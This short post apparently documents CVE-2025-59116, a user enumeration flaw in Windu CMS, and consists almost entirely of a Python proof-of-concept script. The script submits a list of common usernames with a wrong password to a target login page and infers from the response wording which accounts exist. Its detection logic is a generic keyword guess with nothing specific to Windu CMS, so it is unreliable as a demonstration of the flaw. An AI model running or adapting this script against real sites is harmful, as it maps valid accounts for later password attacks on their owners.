CVE-2025-59116 Windu CMS 用户枚举漏洞

import requests import re target_url = "http://target.com/login" # Common usernames to test usernames = [ "admin", "user", "test", "guest", "administrator", "demo", "default", "master", "root", "operator" ] def test_user_enumeration(username): """Test if a username exists by analyzing response differences""" data = { "username": username, "password": "wrong_password_12345" } response = requests.post(target_url, data=data) # Analyze response to determine if username exists # Different messages indicate valid vs invalid usernames if "password" in response.text.lower() and "username" not in response.text.lower(): return True # Username exists (password error shown) elif "user" in response.text.lower() or "not found" in response.text.lower(): return False # Username does not exist return None def main(): print("Windu CMS User Enumeration PoC") print("Target:", target_url) print("-" * 50) valid_users = [] for username in usernames: result = test_user_enumeration(username) if result: print(f"[+] Valid username found: {username}") valid_users.append(username) elif result is False: print(f"[-] Invalid username: {username}") print("\n" + "=" * 50) print(f"Found {len(valid_users)} valid usernames") print("Valid users:", valid_users) if __name__ == "__main__": main()